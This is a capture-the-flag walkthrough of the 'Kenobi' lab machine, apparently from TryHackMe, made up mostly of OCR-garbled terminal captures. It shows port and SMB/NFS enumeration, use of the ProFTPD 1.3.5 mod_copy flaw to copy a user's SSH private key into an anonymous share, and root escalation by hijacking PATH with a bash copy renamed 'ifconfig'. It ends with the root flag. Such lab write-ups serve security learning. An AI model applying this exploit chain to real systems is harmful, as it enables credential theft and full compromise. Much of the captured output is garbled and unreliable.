## <u>kenobi</u>

```
nap.tcp.connectscan.istverson
oot@kali:-/Desktop# nmap -sT -sV kenobi
tarting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 16:12 +08
tats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
onnect Scan Timing: About 88.80% done; ETC: 16:12 (0:00:01 remaining)
map scan report for kenobi (10.10.140.237)
  philect scan report for kenobi (10.10.140.237)

ost is up (0.19s latency).

ot shown: 993 closed ports

Office open ftp Version

1/tcp open ftp ProFTPD 1.3.5

2/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)

0/tcp open http Apache httpd 2.4.18 ((Ubuntu))

11/tcp open rpcbind 2-4 (RPC #100000)

39/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

45/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

949/tcp open nfs_acl 2-3 (RPC #100227)
  numerangus
Troot(kalli/tmp/kenobi/var/www/html# nmap -p 111 --script=nfs-ls,
Starting Nmap 7.70 ( https://nmap.org ) at 2020-03-05 12:22 +08
Nmap scan report for kenobi (10.10.142.49)
  STATE SERVICE
     nap done: 1 IP address (1 host up) scanned in 3.39 seconds
         rating ftp service
<mark>t@kali:/tmp/kenobi</mark># ftp
  ftp> open
                ali:/tmp/kenobi#
Vulnerable fip version found
root@kali:/tmp/kenobi# searchsploit proftpd | grep 1.3.5
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution
   numerating smb service
oot@kali:~/Desktop# smbclient -L \\kenobi
                                                                           IPC Service (kenobi server (Samba, Ubuntu))
                 WORKGROUP
                                                                KENOBI
                li:~/Desktop#
                li:/tmp/kenobi# smbclient \\\kenobi\\anonymou
         er WORKGROUP\root's password:
"help" to get a list of possible commands.
                                                                                                0 Wed Sep 4 18:49:09 2019
0 Wed Sep 4 18:56:07 2019
12237 Wed Sep 4 18:49:09 2019
Contents of log.txt
There are 2 important things to note
1. Location of id_rsa private key
2. Location of shares
```

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```
ter file in which to save the key (/home/kenobi/.ssh/id_rsa):
  reated directory '/home/kenobl/.ssh/.
nter passphrase (empty for no passphrase):
nter same passphrase again:
our identification has been saved in /home/kenobl/.ssh/id_rsa.
  pur public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
ne key fingerprint is:
HA256:C17GWS1/v7K1UZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
     key's randomart image is:
         . So.o++o.
    nonymous]
path = /home/kenobi/share
browseable = yes
    read only = yes
guest ok = yes
          li:/tmp/kenobi#
   kenobi 21
0 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.142.49]
  tte cpfr /home/kenobi/.ssh/id_rsa
50 File or directory exists, ready for destination name
tte cpto /home/kenobi/share/id_rsa
        kali:/tmp/kenobi# smbclient \\\kenobi\\anonymous
  ry "help" to get a list of possible commands.
mb: \> dir
                                                                 0 Thu Mar 5 11:32:41 2020
0 Wed Sep 4 18:56:07 2019
1675 Thu Mar 5 11:32:41 2020
12237 Wed Sep 4 18:49:09 2019
                        9204224 blocks of size 1024. 6877088 blocks available
  mb: \> get id_rsa
etting file \id_rsa of size 1675 as id_rsa (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
kenobi@kenobi:~$
```

Here we will do path manipulation

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```
kernel version ifconfig
Ifconfig
Enter your choice :3
h0    Link encap:Ethernet HWaddr 02:4e:cc:56:5d:44
    inet addr:10.10.142.49    Bcast:10.10.255.255    Mask:255.255.0.0
    inet6 addr: fe80:ide:ccff:fe50:5d44/64    Koope:Link
    UP BROADCAST RUNNING MULTICAST MTU:9001    Metric:1
    RX packets:80908 errors:0 dropped:0 overruns:0 frame:0
    TX packets:78997 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000

    PX bytes:431282 (4 0 MM) TX bytes:550427 (6 1 MM)
                                         Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:198 errors:0 dropped:0 overruns:0 frame:0
TX packets:198 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:14581 (14.5 KB) TX bytes:14581 (14.5 KB)
```

We will make our custom directory to be the first path to be searched on if a program calls on ifconfig

kenobi@kenobi-\\$ echo \$PATH

/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi-\\$ export PATH=/home/kenobi/share/:\$PATH

kenobi@kenobi-\\$ echo \$PATH

kenobi@kenobi-\\$ echo \$PATH

ve will rename our bash binary as ifconfig cenobi@kenobi:~\$ cp share/bash cenobi@kenobi:~\$ ls -lah share/ otal 2.1M
rwxr-xr-x 2 kenobi kenobi 4.0K Mar 4 22:14 .
rwxr-xr-x 5 kenobi kenobi 4.0K Mar 4 22:07 .
rwxr-xr-x 1 kenobi kenobi 1014K Mar 4 22:13 bash
rwxr-xr-x 1 kenobi kenobi 1014K Mar 4 22:14 ifconfig

Privilege escalation, when we choose option 3, we will automatically get root kenobi@kenobi:~\$ menu status check status check kernel version ifconfig Enter your choice :3 Frun a command as administrator (user "root"), use "sudo <command>" Be "man sudo\_root" for details. coot@kenobi:~# cd /root
coot@kenobi:/root# ls -lah "oot@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f0

Other notes:

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